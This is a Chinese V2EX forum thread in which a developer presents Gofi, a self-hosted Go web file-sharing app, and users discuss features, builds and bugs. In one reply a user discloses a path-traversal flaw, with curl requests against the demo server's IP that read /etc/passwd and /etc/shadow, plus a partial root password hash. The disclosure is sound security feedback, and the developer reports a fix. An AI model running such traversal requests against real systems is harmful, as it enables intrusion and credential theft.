首页   注册   登录
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
爱意满满的作品展示区。
Smash
V2EX  ›  分享创造

一个用 Go 语言实现的 Web 网盘应用-Gofi

  •  4
     
  •   Smash · 37 天前 · 5113 次点击
    这是一个创建于 37 天前的主题,其中的信息可能已经有所发展或是发生改变。

    最近在继续学习 go 语言,又在折腾 nas,遂花了点时间写了一个简单的网盘 Web 应用,类似 filebrowser/filebrowser(非模仿,我也是快写好了才知道有一个轮子了)。

    技术栈是 Golang + Ant Design Vue(几个月没写代码了,轻喷)

    目前主要是我家庭局域网在用,没有做权限认证,所以没有任何安全性保证,请不要在公网上部署。

    应该会断断续续更新,因为明年中旬结婚前可能都不准备当社畜了,所以这段时间主要是在筹备婚礼,减脂,写点小代码,等待判决书下达,思考人生。

    Github 地址:

    https://github.com/Sloaix/Gofi

    更新计划:

    https://github.com/Sloaix/Gofi/projects

    上面 deadline 就不要当真了,因为每个月总有那么几天不想写代码:)。

    希望对大家有点小用。

    V2EX image uploaded by TsingScript
    第 1 条附言  ·  37 天前
    由于所有前端静态文件都由 bindata 生成的二进制文件内嵌到 Go 内部,所以只有一个可执行文件,并且使用了 sqlite3,十分容易部署。
    第 2 条附言  ·  36 天前
    任意文件下载漏洞已经修复。
    第 3 条附言  ·  36 天前
    第 4 条附言  ·  36 天前
    如果是要自己编译的话,不建议自己在 Windows 上编译,因为环境比较难配置。而且编译部分文档暂时没有(文档网站已经开始搭建,迭代暂时暂停,12 月 17 日前应该有一个初步的文档),只有 build.sh 脚本,如果你想自己编译,由于使用了 xgo,还需要安装 docker 才行,同时需要安装 golang,yarn,然后运行./build.sh 即可,默认输出到 output 目录。
    第 5 条附言  ·  36 天前
    文档网址: https://gofi-doc.sloaix.com

    还比较粗糙
    第 6 条附言  ·  33 天前
    图片挂了,补个图
    https://imgchr.com/i/QomOS0
    第 7 条附言  ·  33 天前
    <img src="https://s2.ax1x.com/2019/12/17/QomOS0.md.jpg" alt="QomOS0.jpg" border="0" />
    56 回复  |  直到 2019-12-27 17:54:42 +08:00
    Smash
        1
    Smash   37 天前
    PS.可以在吃灰的 Android 手机上部署,我已经在 Nexus5 上部署成功。
    Smash
        2
    Smash   37 天前
    预览网址:

    http://gofi.sloaix.com
    KasuganoSoras
        3
    KasuganoSoras   37 天前
    界面好评,比隔壁某闭源网盘好看多了
    wslwsl
        4
    wslwsl   36 天前 via Android
    好看,赞,最好手机端加个下载按钮就更方便了。
    Smash
        5
    Smash   36 天前 via Android
    @wslwsl #4 还没有适配手机。。。
    slwl
        6
    slwl   36 天前 via iPhone
    什么时候加个权限控制,感觉很好用哈
    takemeh
        7
    takemeh   36 天前   ♥ 3
    @KasuganoSoras 你说的是我写的这个吗 http://cnt2.cf:5156/
    @slwl 我那个有权限,体积小,能放 OpenWrt 上运行。
    takemeh
        8
    takemeh   36 天前   ♥ 2
    @slwl 演示地址的密码和用户名都是 abc
    界面很简陋的,和楼主的比起来相形见绌。
    Smash
        9
    Smash   36 天前 via Android
    @slwl #6 这个会加上的,不 2019 年来不及了。想加的功能有点多。
    bequt
        10
    bequt   36 天前 via Android
    @takemeh 网址挂了
    bequt
        11
    bequt   36 天前 via Android   ♥ 1
    @takemeh 恢复了,图标换新了耶
    rootooroot
        12
    rootooroot   36 天前   ♥ 1
    任意文件下载 权限太高了 连 shadow 都可以读
    http://129.226.186.76/api/download?path=../../../etc/passwd

    curl http://129.226.186.76/api/download\?path\=../../../../etc/issue
    Ubuntu 16.04.1 LTS \n \l

    curl http://129.226.186.76/api/download\?path\=../../../../etc/shadow
    root:$6$8jFcAk07$dZc99NqV8EtKk8mH53Ayi8gS8JhejmWemtppqCmC2Z0yj7vfMXxXrDMf
    jngke931126
        13
    jngke931126   36 天前
    @takemeh #7 你这个 webd 算是比较实用了,基本功能都有了,也没有楼上那个跨出目录读取任意文件漏洞。
    期待一下能不能支持多用户呢,每个用户一个目录,相互之间能用权限分离控制。
    以及 https 支持,这个部署到外网很有必要了。

    同时非常好奇这些功能怎么到这么小体积的,
    略微看了下,没有引用外部东西,可执行文件也没有压缩加壳。

    意外的是 linux 可执行文件原来可以跨不同发行版运行啊,之前一直以为要重新编译。

    你还应该好好做个网站,感觉正规一些,直接用个带端口的演示地址感觉对不起这个软件。
    下载到的版本和演示版本外观不一样啊,还没有更新吗?

    最后希望这种自建方案越来越多,选择多了那些公用盘才不会限速。
    Smash
        14
    Smash   36 天前 via Android
    @rootooroot #12 看到了,谢谢老哥。我先把安全这块简单处理一下吧。
    takemeh
        15
    takemeh   36 天前   ♥ 1
    @jngke931126
    webd 这个体积实现这些功能是正常的,本来就是很简单的东西。
    一些 app 很大是因为增加了对用户没有必要的额外东西,或把部分功能前置到了客户端。
    linux 的二进制兼容性本来就很好,只要不用到太高版本内核和 glibc 的特性基本没问题。
    webd 只依赖内核和 C 运行库(glibc 或 musl)
    你说的功能我尽量实现吧。演示版和下载到的不一样是因为正在开发中。
    richzhu
        16
    richzhu   36 天前
    界面满分,等完善了 权限控制,资源预览,文本在线编辑了再来用 哈哈~
    xyok
        17
    xyok   36 天前
    挺不错的,logo 图标也是自己设计的吗
    alexliux
        18
    alexliux   36 天前 via Android
    star 学习一波
    Smash
        19
    Smash   36 天前   ♥ 1
    @xyok 自己设计的,用手绘板出个草图,再用 PS 出的矢量图。
    Smash
        20
    Smash   36 天前
    @takemeh 你的网盘挺好,体积小,加载速度快。我的 gofi 前端体积还没优化,放在香港的服务器上光加载 js 就挺慢了。
    yukiloh
        21
    yukiloh   36 天前 via Android
    卧槽可以在安卓上跑这个就有点骚了,手上太多吃灰安卓
    FEDT
        22
    FEDT   36 天前 via iPhone
    厉害👍🏻
    Smash
        23
    Smash   36 天前
    @yukiloh 在 Android 的 /data/local/tmp 目录下,adb 用户具有可执行权限。使用 nohup ./gofi &命令可以启动一个后台运行的 gofi 程序,我在 Nexus5,魅族 mx4 上都测试过了,可以完全运行,但是国内的定制手机对于 adb 用户的目录权限不一样,比如原生系统对 Storage 目录是具有读写权限的,但是我在 mx4 上就只有 /data/local/tmp 目录的读写权限。
    Smash
        24
    Smash   36 天前
    @yukiloh 目前可以跑,但是挂了之后不能重启,所以如果要在 Android 上跑,还需要搞一个守护进程用来重启 Gofi,这样才能保证稳定性。
    crella
        25
    crella   36 天前
    请问 windows 上怎么编译,要用 msys 吗?
    Smash
        26
    Smash   36 天前
    @crella release 页面已经编译好了,我默认编译了 MacOS/Windows/Linux/Android(Arm)这几个常用的平台
    slwl
        27
    slwl   36 天前
    吃灰派用来干这个如何
    Smash
        28
    Smash   36 天前
    @slwl 我有个 zero 和 3B,还没来得及在上面跑过,你可以试试。
    Smash
        29
    Smash   36 天前
    @crella 如果是要自己编译的话,不建议自己在 Windows 上编译,因为环境比较难配置。而且编译部分文档暂时没有,只有 build.sh 脚本,如果你想自己编译,由于使用了 xgo,还需要安装 docker 才行,同时需要安装 golang,yarn,然后运行./build.sh 即可,默认输出到 output 目录。
    keepeye
        30
    keepeye   36 天前
    我想起了 13 年毕业设计,用 php 撸了个网盘系统,还是分布式存储的
    crella
        31
    crella   36 天前 via Android
    我在 win7 上启动进程成功,打开网页会发生错误,网页右上角弹出窗口提示错误:undefined。
    从 release 最近一个 win64 的链接下载的。不知道是不是没设定文件夹?
    Smash
        32
    Smash   36 天前
    @crella 我好久没在 Windows 上跑过了,我试一下。
    Smash
        33
    Smash   36 天前
    @crella 自动获取局域网 ip 出错了,你可能有多个网卡。我这边复现了,你先手动指定一下 ip 吧。用命令行运行 gofi.exe -ip <你的局域网 ip 或者 127.0.0.1>
    Smash
        34
    Smash   36 天前
    @crella 这个 ip 地址主要是服务端提供的 api 的 ip,供前端请求。
    crella
        35
    crella   36 天前 via Android
    是的,有 vmplayer 网卡和直升机跑道
    Smash
        36
    Smash   36 天前
    @crella Windows 上的 Gofi,后端 ls api 貌似存在兼容性问题,这块要等我修复一下了。
    crella
        37
    crella   36 天前   ♥ 1
    我给本机上的虚拟机 linux 上的 gofi 上传一个 700M 的 iso,多次提醒 You have reached maximum request limit. 好奇问一下是什么意思?

    ![gofi.jpg]( https://i.loli.net/2019/12/14/my1KIAqgsSYVwju.jpg)
    SteveAlan
        38
    SteveAlan   36 天前
    界面是用的 ant design 吗?
    Smash
        39
    Smash   36 天前 via Android
    @crella #37 @crella #37 应该只有在预览模式才有请求频率限制的。启动的时候会打印当前的 environment,能截下图吗
    Smash
        40
    Smash   36 天前 via Android
    @SteveAlan #38 恩
    Hoshizora
        41
    Hoshizora   36 天前 via Android
    0.5 arm 的那个在手机上运行不了,0.4 的可以,当初始化失败,好像是 sqlite 那出问题了
    Smash
        42
    Smash   36 天前
    @Hoshizora 我在 issue 上记录一下。兼容性问题
    Smash
        43
    Smash   36 天前
    @crella 已经在 develop 分支修复了,我明天打个 fix 包
    Tink
        44
    Tink   35 天前 via iPhone
    开源好评
    Smash
        45
    Smash   35 天前
    @crella v0.5.1 已经 release 并修复. gofi-v0.5.1-windows-4.0-amd64.exe
    bijue
        47
    bijue   34 天前 via Android
    等待什么判决书?
    Maboroshii
        48
    Maboroshii   34 天前
    看了一下只有配置项保存在了 sqlite 里,用 json 保存在文件里我觉得也行,毕竟量不大。
    sqlite 用了 cgo,不方便交叉编译呀。
    Smash
        49
    Smash   34 天前
    @Maboroshii 目前是可以这样,配置项用文本文件存储,但是我想到后面要做权限认证,这个还是用数据库更方便一些。交叉编译这块目前用的开源库 xgo 实现的。
    Smash
        50
    Smash   34 天前
    @bijue 想听故事的话,可以看看我时间线。
    vix
        51
    vix   33 天前 via Android
    以前也是玩着实现了个,不过好久没维护了,惭愧。
    Smash
        52
    Smash   33 天前
    @vix 所以不是国外的好的开源项目就多,而是国内的工程师们都忙于 996 了,233333。
    caik13
        53
    caik13   32 天前
    感谢分享,找了好久 golang 这种的
    lijixi
        55
    lijixi   23 天前
    今天简单研究了几个私有网盘,请教:@smash 您的这个项目比 [filebrowser]( https://github.com/filebrowser/filebrowser) 强在何处呢?
    Smash
        56
    Smash   23 天前 via Android
    @lijixi #55 那个项目貌似开发者没维护了,社区在维护。主要是差异化吧,想集成的功能不太一样。
    关于   ·   FAQ   ·   API   ·   我们的愿景   ·   广告投放   ·   感谢   ·   实用小工具   ·   982 人在线   最高记录 5168   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.3 · 29ms · UTC 21:27 · PVG 05:27 · LAX 13:27 · JFK 16:27
    ♥ Do have faith in what you're doing.